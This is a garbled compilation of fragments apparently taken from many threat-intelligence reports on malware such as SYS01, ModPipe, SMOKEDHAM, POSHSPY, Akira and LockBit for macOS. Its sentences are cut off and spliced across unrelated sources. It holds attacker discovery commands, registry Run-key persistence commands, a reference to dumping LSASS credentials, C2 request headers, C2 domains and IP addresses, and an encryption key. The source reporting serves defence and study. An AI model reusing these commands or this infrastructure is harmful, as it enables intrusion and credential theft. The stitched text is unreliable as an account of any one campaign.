address47.75.0[.]147 2019Password sprayIPv4 address5.254.112[.]226 2019Initial accessIPv4 address5.254.64[.]234 2019Initial accessIPv4 address59.47.4[.]27 2019Initial accessIPv4 address39.109.5[.]135Q3 2017VPN server loginIPv4 address43.250.200[.]106Q3 2017VPN server loginIPv4 address119.39.248[.]101Q3 2017VPN server loginIPv4 address220.202.152[.]47Q3 2017VPN server loginIPv4 address119.39.248[.]20Q3 2017VPN server loginIPv4 address185.170.210[.]84Q3 2017VPN server loginIPv4 address43.250.201[.]71Q3 2017VPN server loginIPv4 address23.236.77[.]94Q3 2017ADFS loginPathC:\Code\NtdsAudit\src\NtdsAudit\obj\Release\–NTDSAudit artifactsPathC:\Users\Public\Appdata\Local\–Staging and toolsPathC:\Users\Public\Appdata\Local\Microsoft\Windows\INetCache–Staging and toolsPathC:\Users\Public\Libraries\–Staging and toolsPathC:\Users\Public\Videos\–Staging and toolsPathC:\Windows\Temp\–Staging and toolsPathC:\Windows\Temp\tmp–Staging and toolsURI in CS beacon/externalscripts/jquery/jquery-3.3.1.min.js Q3 2019 – Q1 2020–URI in CS beacon/externalscripts/jquery/jquery-3.3.2.min.jsQ2 2019 – Q3 2019–URI in CS beacon/jquery-3.3.2.slim.min.jsQ1 2020–User-agentMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko–Web VPN loginUser-agentMozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko–Cobalt Strike beacon Observed discovery commands TechniqueCommandAccount discoverynet userAccount discoverynet user AdministratorAccount discoverynet user /domainAccount discoverydir \\<hostname>\c$\usersAccount discoverydsquery user -limit 0


<current_date>Account discoverymsadcs.exe “NTDS.dit” -s


|findstr explorerProcess discoverytasklist /v


|findstr 1716Process discoverytasklist /v /s


\\<host>\HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\ServersQuery registryreg query \\<host>\HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Internet


DiscoveryTechniqueT1087 Account Discovery: Local AccountTechniqueT1087.001https://attack.mitre.org/techniques/T1087/001/Account Discovery: Domain AccountTechniqueT1087.002https://attack.mitre.org/techniques/T1087/002/Browser Bookmark DiscoveryTechniqueT1217https://attack.mitre.org/techniques/T1217/Domain Trust DiscoveryTechniqueT1482https://attack.mitre.org/techniques/T1482/File and Directory DiscoveryTechniqueT1083https://attack.mitre.org/techniques/T1083Network


We assess that this activity is part of the group’s previously reported targeting of the education sector in the Indian subcontinent.

Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector


Wibemax matches the name of a Pakistani software development company, but at this time we have not identified a clear relationship to the adversary.


Based on known behavior of this group, we suspect that the documents have been distributed to targets as attachments to phishing emails.


Crimson RAT PDB paths We observed different Crimson RAT version identifiers: R.S.8.8., R.S.8.9, R.S.8.1, and R.S.8.6.


Crimson RAT variants implement different obfuscation techniques of varying intensities, for example, simple function name malformation and dynamic string resolution.


The infection chain is divided into two parts: the loader, and the Inno-Setup installer that drops the final payload.

SYS01 Stealer Will Steal Your Facebook Info


The loader is usually a legitimate C# application susceptible to a side-loading vulnerability that comes with a hidden malicious dynamic link library (DLL) file that’s eventually side-loaded to the application.


In the next sections we elaborate on various delivery techniques and luring themes the attackers use.


Note: these delivery methods are representative samples.


DLL Side-Loading V1


t Is the theme used as a decoy Side loaded malicious DLL


As mentioned, the License file is the next stage Inno-Setup installer that drops the PHP information stealer.


The above image shows an example of Garmin’s ElevatedInstaller.exe being abused to side-load the malicious DLL.


Once the executable starts running, it side-loads the malicious DLL that decodes and drops three files to the %temp% folder:


vcruntime140.dll Dependency rhc.exe (hidec)


Executable that accepts an executable as an argument and executes it with hidden console <


Before exiting, it pops up a message box informing the victim that the execution didn’t succeed.


Drops ”TS.exe” and executes it with t as an argument The dropped executable (TS.exe) can be executed with one of the following options: t, d t|d options that the executable accepts Option t copies the executable to %appdata%\Packages\TS.exe and registers a new scheduled task to trigger every day and repeat every hour with option “d” as an argument.


Hides the console window of started programs (hidec) rss.txt (other variants have a different name)


It starts by setting a configuration array with the following information: version—Stealer version b—Bot name (SYS01 is the bot name we’ve seen in all the variants we covered, which is why we named the php stealer SYS01) tmpData—Path for saving temporarily used files url_endpoint—A list of C2 domains Configuration array During each execution, the script shuffles and randomly defines one of the domains to be used as the C2 in the entire script.


If so, it posts the stolen information to its C2.


Upload file function r Gets a command to run, executes it, and posts the result back to the C2.


How do You Combat SYS01 stealer? DLL side-loading is a highly effective technique for tricking Windows systems into loading malicious code.


Dynamic link libraries enable more efficient memory use and system modularity, but because Microsoft doesn’t enforce search order for DLLs by default, it makes applications vulnerable to exploitation.


Security-minded developers may enforce search order within their code.


Microsoft has started to enforce default search order on many of their applications, even if not universally.


This is because detection-based tools don’t always flag benign executables used to side-load payloads during delivery and/or execution.


MTD morphs—randomizes—the runtime memory environment to create a dynamic attack surface and leaves decoy traps where targets used to be.


Zip Files 01f76140374da14b72a8f1e648cb8f46590419cddd56bc089e67f38cee767735 7f54dc5ddab4de19c5ad7c7b6d4398bd07d97504cdedabc398a6d6db52fe9875 bad4de1c398954b9c381d91fee52607b78e1c65bd9f38c3e82a307e236a76223 2c58bfbf8d274434e3307a76a37720d09387978e8e401780048992ea21fd222b c81175d56aa006ad140799e39c800306b439ea98b9efc4491c269eccbfeebd4e c636ed3b0ca558a92687f60f0b37c0e44ff3a6d4f15acd3cfb858fee4b0b0916 833b871f342ba7b0e852363ed123682b99588888f01567e56942889d886bb4b2 daba97a67f219443ef4b0a39e2d051179d20de6a2febb927bec4108dcac1b3a6 5698feaacd122f75d69ed1d9a561ab7210051031e821b934b3022d48a185443b f58b9794f5b973625551333f469878c1df65302733f9a3e9a214e3739cee09bf Inno-Setup Installers 3416982484faefb7b0092cc639039863e52a9aa6ba0a277f943216a398dd0f8b 804f137c4253241cdcbbe8cd59181f0621cbd26bb8a78163b8bc0461d5f3bafb 20a1c15d016a2d11659a74ae9e23e57020a4023df4c9f8c0357a38b69eddfa08 14fe2d1d1df11d887f5c53a78af6e1885928aa9256b79cd365f2c1d39397c2f4 25a5422f4a4a1d11b242730adbce06673cefee533da62a8ddef93e0074a3ba75 7d64de081057d18b1503854386a351a76caac9d71aada177373ef77b597a4f06 C&C caseiden[.]com graeslavur[.]com rapadtrai[.]com baglamanotalari[.]comoscarnaija[.]com makananwisata[.]com seleriti[.]com seemlabie[.]top craceruib[.]topmahinetain[.]top


How to Detect Webinjects This technique can be prevented by detecting an injection into a web browser process.

Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure


For example, Trickbot uses both VirtualProtect and VirtualProtectEx in its various versions.


Figure 4. NtProtectVirtualMemory prototype.


How to Prevent Named Pipe Communication Between Injected Processes This technique can be prevented by inspecting named-pipe events.


How to Prevent Heaven's Gate A WoW64 process usually goes through the wow64cpu.dll to perform the transition to x64 CPU mode.


For example, Trickbot and Kronos have both used this technique.


Kronos mapping svchost.exe and patching its entrypoint.


IcedID initiates svchost.exe hooking.


As mentioned, svchost.exe was created without any parameters and it will try to exit.


The provided address argument for NtProtectVirtualMemory is an exported function from one of the Windows libraries, and the NtWriteVirtualMemory written buffer is a hooking stub.


They then dispatch an asynchronous procedure call (APC) to the APC queue of a target process thread using NtQueueApcThread, forcing the target process to call GlobalGetAtomA.


And finally, we describe how these techniques can be used to detect malicious behavior, so it can be prevented.


4becc0d518a97cc31427cd08348958cda4e00487c7ec0ac38fdcd53bbe36b5cc Webinjects: ef6603a7ef46177ecba194148f72d396d0ddae47e3d6e86cf43085e34b3a64d4 Emotet: dd20506b3c65472d58ccc0a018cb67c65fab6718023fd4b16e148e64e69e5740 Kronos: aad98f57ce0d2d2bb1494d82157d07e1f80fb6ee02dd5f95cd6a1a2dc40141bc Zeus: 0f409bc42d5cd8d28abf6d950066e991bf9f4c7bd0e234d6af9754af7ad52aa6 IcedID: 358af26358a436a38d75ac5de22ae07c4d59a8d50241f4fff02c489aa69e462f Dridex: ffbd79ba40502a1373b8991909739a60a95e745829d2e15c4d312176bbfb5b3e Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us


By Chetan Raghuprasad, Vanja Svajcer and Asheer Malhotra.

Attackers use domain fronting technique to target Myanmar with Cobalt Strike


This shows that Cobalt Strike, although it was originally created as a legitimate tool, continues to be something defenders need to monitor, as attackers are using it to set up attacks.


One of the techniques to conceal the traffic from DNS-based filtering is Domain Fronting.


Timeline of malware samples first seen in the wild.


Although there are no indications that the previous defacement of the domain by the Brotherhood of Myanmar and the campaign described in this post are related, the domain itself is clearly of interest to various actors.


Domain fronting can be achieved with a redirect between the malicious server and the target.


Cloudflare users have the option to use their own subdomain and create a DNS record that points to Cloudflare.


Summary of domain fronting of Myanmar government's domain.


Aside from this, there are several other standard libraries the malware links during the runtime.


After allocating the virtual memory and setting the page permissions to Read-Write-Execute, a decryption routine is executed that decrypts the remaining malicious code in the .kxrt section and writes it to the virtual memory.


The beacon resolves the proxy by calling WinHTTPGetProxyForUrlEx and WinHTTPCreateProxyResolver to bypass the proxy for the URL.


The SSL certificate for the domain softlemon[.]net with the serial number 4aa6af6d719bfdd1c6dff3d7b640aed7ee3was issued by Let's Encrypt, a free SSL certificate provider.


According to Shodan, the IP address 193[.]135[.]134[.]124 hosted by a Russian provider may be the real C2 IP address protected by the Cloudflare infrastructure as the SSL certificate served on port 8443 belongs to Cloudflare and lists the X509v3 Subject Alternative Name as DNS:*.softlemon.net.


Conclusion Domain fronting is a technique used by attackers to circumvent protection based on DNS filtering.


Coverage Ways our customers can detect and block this threat are listed below.


In both cases, the affected organizations had files encrypted with the “.akira” extensions and had nearly identical ransom note files, named fn.txt, dropped in the process (as shown below in Figure 1]. Figure 1: “fn.txt” ransomware notice This Akira ransomware bears no code similarity to a previous ransomware strain with the same name that was active in 2017 and is likely unrelated.


Credential Access Incident #1 Minidump of LSASS process memory leveraging comsvcs.dll with proxy execution by rundll32.exe.


The service name is a random eight characters and different strings were observed across different systems.


4490 %%4492 ' '-' '0x00001400' '-' '0' '0x0000000000001318' 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '-'] Guidance Dumping process memory to obtain credentials is a pervasive technique observed in most ransomware incidents.


Using the Minidump function of comsvcs.dll description: The minidump function of comsvcs.dll can be used to dump lsass.exe.


The function requires the PID of lsass.exe.


[T1082 – System Information Discovery]


Incident #2 Utilization of a dual-use tool, Advanced IP Scanner, to discover other systems and networks.


[1149] RDP from from IP: <Redacted> Event ID: 25 - Remote Desktop Services: Session reconnection succeeded Event ID: 24 - Remote Desktop Services: Session has been disconnected Event ID


Secondly, adopting a centralized jump server, which only admins can access with MFA and blocking at the network level other system to system RDP is a strong preventative control.


A feature of Advanced IP Scanner is integration with Radmin to provide remote access to scanned systems Guidance Just as with the discovery activity, threat actor usage of dual-use agents is both commonplace and important to disrupt.


[T11486 – Data Encrypted for Impact]


As mentioned earlier, at this late stage in the attack, having full coverage on all systems with a properly configured XDR solution is vital to protect organizations from ransomware.


We have also provided the YARA rule below, which can be used to identify Akira ransomware binaries.


Unfortunately, there are some edge cases where organizations have had their files encrypted within just 24 hours, and that type of threat really does require an experienced, global partner, such as Sophos, to augment your security program.


Trending Threats Adwind Trojan Circumvents Antivirus Software To Infect Your PC (September 24, 2018)

WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC


[MITRE ATT&CK] Obfuscated Files or Information (T1027) |


As of this writing, the unknown threat actors are believed to have been able to gain access to a handful accounts that had the same password for multiple accounts on other sites.


[MITRE ATT&CK] Brute Force (T1110) Off-Path TCP Exploit Allows Attackers To Steal Data Via Unencrypted Connections (September 21, 2018)


[MITRE ATT&CK] Domain Fronting (T1172) ZDI-CAN-6135: A Remote Code Execution Vulnerability In The Microsoft Windows JET Database Engine (September 20, 2018)


A threat actor could take advantage of this vulnerability by creating a specific file that contains data that is stored in the JET database format, and having the targeted user open it, which would then allow for remote code execution at the level of the current process.


However, it does still exemplify a significant vulnerability to the Bitcoin network.


The vulnerability is located in the driver files installed by the modem onto Windows machines, where the folder permissions allow anyone to read, write, execute, create, and delete anything inside that folder and its subfolders.


The file is intended to store text to help Windows improve handwriting recognition so it recognises and accurately suggests corrections and/or words based on what a user uses frequently.


This means that the actual data from the document’s text is stored in the WaitList.dat file, not just the metadata.


My Cloud Allows Escalation To Admin Privileges (September 18, 2018)


This then allows the actor complete access over the device.


This PHP file contains a payload download code that grabs malware to download and install the backdoor.


The airport was able to contain the attack and restore the flight display screens.


The cyber incident appears to have been caused by security failings of a third-party provider, and the company’s internal systems were not compromised.


The email is directed to “Non-Resident Alien” tax payers to have them fill out a PDF file (that is attached to the email) that certifies one is a non-resident or foreign corporation.


The attached PDF is named “W-8BEN Form.PDF” and impersonates a legitimate IRS form.


The first vulnerability, CVE-2018-1149, is an unauthenticated stack buffer overflow which allows for remote code execution with root/administrator privileges.


Another remaining unknown is ModPipe’s distribution method.

Hungry for data ModPipe backdoor hits POS software used in hospitality sector


ModPipe architecture Our analysis shows that ModPipe uses modular architecture consisting of basic components and downloadable modules (for a better overview see Figure 1): initial dropper – contains both 32-bit and 64-bit binaries of the next stage – the persistent loader – and installs the appropriate version to the compromised machine.


networking module – module used for communication with C&C. downloadable modules – components adding specific functionality to the backdoor, such as the ability to steal database passwords and configuration information, scan specific IP addresses or acquire a list of the running processes and their loaded modules.


The list of all downloadable modules we found and analyzed, and their IDs – represented by a 16-bit unsigned value – are available in Table 1.


Downloadable modules Module IDNameDescription 0xA0C0GetMicInfoSteals database passwords, data and various settings 0x2000ModScanPerforms scan on the specified IP addresses -ProcListGets list of the running processes and their loaded modules 0xA000unknown- 0xA040unknown- 0xA740unknown- 0xA080unknown- Downloadable module: GetMicInfo GetMicInfo is a downloadable component that targets data related to the MICROS POS including passwords tied to two database usernames predefined by the manufacturer: dba and micros (see Figure 2).


Hex-Rays decompiled code of the function stealing database passwords The GetMicInfo module can intercept and decrypt these database passwords, using a specifically designed algorithm.


If the environment variable does not exist, the module tries to load the library using its name dbcapi.dll.


Hex-Rays decompiled code of the function that steals database data The GetMicInfo module is injected into one of the processes specified by the C&C in the install command (0x0C).


Based on our findings, it is typically associated with one of the following legitimate processes: MDSHTTPService.exe (MICROS MDS HTTP Service) CALSrv.exe (MICROS CAL Service – Client Application Loader server) explorer.exe We can confirm that the GetMicInfo module can successfully obtain the database passwords from RES 3700 POS v4.7 and v5.4.


The ModScan 2.20 module is injected into one of the processes specified by the C&C via an InstallMod command (0x72).


Based on our findings, it is typically associated with one of the following legitimate processes: MDSHTTPService.exe (MICROS MDS HTTP Service) CALSrv.exe (MICROS CAL Service – Client Application Loader server) msdtc.exe jusched.exe spoolsv.exe services.exe Differences between the injected processes misused by GetMicInfo and those targeted by ModScan 2.20 might be caused by the fact that GetMicInfo module is injected only into processes running under WOW64.


Hex-Rays decompiled code of the ModScan ping functionality When the ModScan module starts the scan, some of the following information may be gathered, depending on the parameters received along with the scan command: Version of the Oracle MICROS RES 3700 POS, which is acquired by sending an HTTP Post message (see Figure 5) to the specified IP address on port 50123 used by the MDS HTTP Service.


The sought-after information is stored between data xml tags (<data>%version%</data>) of the response from the service. 1234567891011121314151617181920 POST /%s


The payload is responsible for decrypting the appropriate loader depending on the system architecture, so either 32-bit or 64-bit.


HTTP POST or GET methods with headers shown in Figure 12 and Figure 13 can be used to upload data to C&C and download additional payloads and C&C commands.


HTTP/1.1 Accept: */* Content-Length: %data_length% Content-Type: application/octet-stream User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Host: %remote_host% Cache-Control: no-cache %data% Figure 12.


HTTP POST header used to contact C&C GET %rsrc_path% HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Host: %remote_host% Cache-Control: no-cache Figure 13.


Example C&C server response including encrypted payload If all conditions are met, the network module sends the C&C response to the main module using a pipe message with ID 0x10000072.


Probably the most intriguing finding is the algorithm hidden in one of the backdoor’s modules, which was specifically designed to steal credentials by decrypting them from registry values.


Use reliable multi-layered security software that can detect ModPipe and similar threats.


Indicators of Compromise C&C IP addresses 191.101.31[.]223 194.32.76[.]192 23.19.58[.]114 88.99.177[.]103 91.209.77[.]172 5.135.230[.]136 C&C domains/URLs subzeroday.zapto[.]org shj145ertyb.ddns[.]net/gettime.html ouidji12345.ddns[.]net/gettime.html


TacticIDNameDescription ExecutionT1059.003Command and Scripting Interpreter:


Some Windows and MacOS versions of the application have been abused by the threat actor to add an installer that communicates with various command-and-control (C2) servers.

Update 2 3CX users under DLLsideloading attack What you need to know


According to 3CX, their Update 7 for Windows, version numbers 18.12.407 and 18.12.416, and Electron Mac App version numbers 18.11.1213, 18.12.402, 18.12.407 and 18.12.416, are affected.


As part of our analysis, we also did a comparison of the ffmpeg.dll in 3CX with the same file in other Electron apps.


Our analysis has shown only the 3CX ffmpeg.dll contains the malicious code.


The above code checks if manifest exists and is writeable; if so, then it adds 7 days + the current system timestamp + rand() generated number % 21 days.


Otherwise, it just reads the existing value from the manifest file.


WHERE f.path like 'c:\users\%\appdata\local\programs\3cxdesktopapp\app\%'


We also recommend that users of 3CX’s software continue to monitor the company’s communications channels; they have a blog and also a support-and-information forum.


Golang-based botnets in particular seem to be gaining the interest of threat actors.

GoBruteforcer GolangBased Botnet Actively Harvests Web Servers


We found that this web shell was already deployed onto the victim server.


The initial vector of the GoBruteforcer and the PHP web shell campaign is not known yet.


The GoBruteforcer malware hashes we found mainly targeted Unix-like (*nix) platforms, with versions for x86, x64 and ARM architectures.


Modules inside GoBruteforcer for scanning different services.


Inside the modules, the malware first checks if the port belonging to the service is open.


For MySQL and Postgres Services When scanning for MySQL and Postgres services, the GoBruteforcer malware first checks whether ports 3306 and 5432 are open.


If the malware finds the ports open, then the malware tries to ping the host’s database with a certain username and password.


On further investigation into the directories within the victim IP address, we found a web shell named x, (http[:]//victim-ip/x) with SHA256 de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b.


This is possibly an older version of the GoBruteforcer family that only targeted the phpMyAdmin service in order to infect web servers.


Malware like GoBruteforcer takes advantage of weak (or default) passwords.


Shortly after @MalwareHunterTeam’s tweet, the fine folks of @vxunderground added their thoughts and shared samples: The relevance of this macOS specimen is well articulated in VXUnderground’s tweet: “Lockbit ransomware group has created their first MacOS-based payload.

The LockBit ransomware kinda comes for macOS


Let’s take a peek via macOS’s codesign and spctl utilities:


(So function and method names are left intact ….yay!)


Since the call to ptrace will now be skipped, we’re free to debug to our hearts content.


Next the malware copies a chunk of encrypted data (size: 0x2468 bytes) from a variable named apple_config to a variable named g_Config.


000000010000b128 adr x21, #0x10005908c ;g_Config 000000010000b12c nop 000000010000b130 adr x1, #0x100058008 ;apple_config 000000010000b134 nop 000000010000b138 mov x0, x21 000000010000b13c mov w2, #0x2468 000000010000b140 bl imp___stubs__memcpy


Clearly, nothing relating to macOS specifically …in fact more indications this code is simply a recompile of (pieces of?)


The malware then de-XORs other strings, with the hard-coded key of 0x39 000000010000b260 ldr w8, =0x1964126200000039 Most of the strings are de-XOR’d in a function aptly named de_xor_all.


If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we >>>>>


Then I kicked off a file monitor, filtering on the locker_Apple_M1_64 process: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ...


First, Apple has been fairly proactive about mitigating ransomware attacks on macOS (and maybe this is why we’ve yet seen a major ransomware outbreak on macOS).


This means even if ransomware finds its way onto a macOS system it won’t (easily) be able to mess with core OS files.


This means, that without an exploit or user-approval users files will remain protected.


And while this may be the first time a large ransomware group created ransomware capable of running on macOS, it worth nothing that this sample is far from ready for prime time.


From it’s lack of a valid code-signing signature to its ignorance of TCC and other macOS file-system protections as it stands it poses no threat to macOS users.


Moreover, the variant is rather buggy …containing flaws such as buffer overflows that will cause it to prematurely exit, when run on macOS: The likely explanation to all this, is that the specimen we looked at today is test (or beta): “Cisco Talos researcher Azim Khodjibaev told BleepingComputer that based on their research, the encryptors were meant as a test and were never intended for deployment in live cyberattacks.”


And, if nothing else, make sure we’re adequately prepared for future attacks that likely will be more polished and thus pose a greater risk.


Interested in Mac Malware Analysis Techniques?


Palo Alto Networks customers are protected from this threat through WildFire and Cortex XDR.

IronNetInjector Turlas New Malware Loading Tool


First, let’s take a look at what IronPython is and why it was chosen as a loading vector.


Also, IronPython scripts don’t run with the original Python interpreter when .NET framework APIs are used in the code.


The key features of the malicious IronPython scripts are as follows: Function and variable names are obfuscated.


Decoded IronPython script with embedded .NET injector and ComRAT payload (both shortened).We have found two versions of the .NET injector, a newer variant internally named NetInjector compiled in 2019 and an earlier variant named PeInjector_x64 compiled in 2018.


The earlier variant is much more limited in functionality compared to the 2019 variant.


Also, it can load payloads into its own process space, the IronPython interpreter process.


Based on the file sizes and the file sizes of the embedded payloads in the IronPython scripts, we can make some assumptions about what the payloads likely are.


injector in profilec.py of same submitter • payload.exe: ComRAT v4 variant (DLL), most likely embedded in profilec.py of same submitter – 5 – • part_1.data: .NET injector (variant 2018), most likely embedded in prophile.py of submitter 1 • part_2.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 • part_3.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 – Table 1.


The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created: Figure 3.


The task file is then used to create a task which in turn starts a script when triggered.


It’s also unclear why the attacker would use such an old version of IronPython.


Load() method of the C# Reflection namespace.


The output is then parsed to the targeted process ID with the help of tasklist filters.


Finally, the injector’s public methods Invoke() and InvokeVoid() get called.


MetaDataTables PeNet.


The DefaultSerializer class exposes four public methods: InjectAssembly Invoke InvokeAssemblyMethod InvokeVoid These methods are used pairwise.


One other interesting aspect of the injector is its ability to load an assembly into an unmanaged process.


LoadAssembly: Load .NET assembly passed as a parameter.


Conclusion IronNetInjector is another toolset in Turla’s ever-growing arsenal, made of an IronPython script and an injector.


This general trend can be seen in recent years as detection of Powershell based threats became better, but also due to security mechanisms like AMSI introduced by Microsoft.


Palo Alto Networks customers are protected from this malware tool.


Our threat prevention platform WildFire detects it as malicious.


POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI.

Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY


Mandiant initially identified an early variant of the POSHSPY backdoor deployed as PowerShell scripts during an incident response engagement in 2015.


Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years.


For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation.


Windows Management Instrumentation WMI is an administrative framework that is built into every version of Windows since 2000.


APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property.


This allowed them to install a persistent backdoor without leaving any artifacts on the system’s hard drive, outside of the WMI repository.


Figure 2 displays the command, called the “CommandLineTemplate”, executed by the WindowsParentalControlsMigration consumer.


The backdoor contains several notable capabilities, including: 1.


Deriving C2 URLs from a Domain Generation Algorithm (DGA) using lists of domain names, subdomains, top-level domains (TLDs), Uniform Resource Identifiers (URIs), file names, and file extensions 6.


Appending a file signature header to all encrypted data, prior to upload or download, by randomly selecting from the file types: ICO GIF JPG PNG MP3 BMP The sample in this example used 11 legitimate domains owned by an organization located near the victim.


This is one of several sneaky backdoor families that we have identified, including an off-the-shelf domain fronting backdoor and HAMMERTOSS.


When responding to an APT29 breach, it is vital to increase visibility, fully scope the incident before responding and thoroughly analyze accessed systems that don't contain known malware.


This downloader was first seen in 2014 commonly deploying Pony and Vawtrak malware.

Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques


The first Hancitor malicious spam wave of 2021 started on 12 January, where the malware was distributed as email Word document attachments.


Figure 1 – Word document lure requesting the user to run the VBA macro.


Analyzing the attachment using oledump shows that not only VBA macros but also an Object Linking and Embedding (OLE) object are embedded in the document.


Figure 3 – VBA macro which moves the tmp file to the templates folder as a DLL.


Figure 7 – Structure of the encrypted section.


Running Hancitor Malware As soon as the unpacked executable is running, the malware gathers information about the infected system.


The following disassembly shows calls to multiple functions used to collect the information.


Figure 9 – x86 disassembly of Hancitor’s information gathering function.


Thread Execution Hijacking The final execution method Hancitor supports is Thread Execution Hijacking.


The only difference is that the malware replaces the thread context with the downloaded executable and resumes it afterwards.


While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness.

Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise


DARKSIDE RaaS In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service.


The post cited law enforcement pressure and pressure from the United States for this decision.


There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam.


Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services.


During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website.


Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.


The former is a clean installer from the original developer and is launched first, installing the software as the user may expect.


Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.


After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.


Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.


The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests.


The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.


The ID field contains a unique value generated by the backdoor for the target system.


Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.


The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.


The following commands were used to collect information about the system and logged in users.


These files were saved to the %APPDATA%\Chrome\ directory.


Figure 8: Contents of UltraVNC.ini SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.


reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ConhostNT /d


%appdata%\Chrome\winvnc.exe NGROK Configuration SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml.


Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.


SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.


reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindNT /d


Update.exe was a Go based dropper created using the ScareCrow framework.


The execution of ScareCrow framework dropper C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\ProgramData\Cisco\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.


Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.


Conclusion UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user.


A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.


Host: max-ghoster1.azureedge[.]net (actual C2) MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html) Host: atlant20.azureedge[.]net (actual C2) MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)


MSIL.SMOKEDHAM Malware.


A (METHODOLOGY) Malware Protection (AV/MG) Trojan.GenericFCA.Script.533 Trojan.GenericFCA.Agent.7732 Dropped:Trojan.VBS.VGU Trojan.


PowerShell T1059.005:


Query Registry T1033: System Owner/User Discovery T1082: System Information Discovery Collection T1056.001:


Domain Fronting T1102: Web Service T1105:


Chinese MSS-affiliated cyber threat actors use readily available exploits and exploit toolkits to quickly engage target networks.

AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity


These information sources have legitimate uses for network defense.


Together, these data sources provide users with the understanding of a specific vulnerability, as well as a list of systems that may be vulnerable to attempted exploits.


Technical Weakness Identification CISA analysts consistently observe targeting, scanning, and probing of significant vulnerabilities within days of their emergence and disclosure.


CISA recently released an alert that highlighted the top 10 vulnerabilities routinely exploited by sophisticated foreign cyber threat actors from 2016 to 2019.[6] Additionally, table 2 provides a list of notable compromises by Chinese MSS-affiliated actors within the past 12 months.


This is a vulnerability in F5’s Big-IP Traffic Management User Interface that allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code.[7] CVE-2019-19781:


Appliances CISA has observed the threat actors attempting to discover vulnerable Citrix VPN Appliances.


These observations also provide evidence that threat actors can build and maintain relatively low-complexity capabilities, such as C2, to enable cyber operations against Federal Government networks (Build Capabilities [TA0024]).


CISA has observed Chinese MSS-affiliated actors using the build capabilities summarized in table 4. Table 4: Build capabilities observed by CISA MITRE ID Name Observation T1352 C2 Protocol Development CISA observed beaconing from a Federal Government entity to the threat actors’ C2 server.


T1328 Buy Domain Name CISA has observed the use of domains purchased by the threat actors.


MITRE ATT&CK Framework for Analysis CISA has observed sophisticated cyber threat actors, including Chinese MSS-affiliated actors, using commercial and open-source tools to conduct their operations.


Cobalt Strike is a commercial penetration testing tool used to conduct red team operations.


CISA observed connections from a Federal Government agency to multiple IP addresses possibly hosting Cobalt Strike team servers.


China Chopper Web Shell CISA has observed the actors successfully deploying China Chopper against organizations’ networks.


This open-source tool can be downloaded from internet software repositories such GitHub and Exploit-DB.


China Chopper is a web shell hosted on a web server.


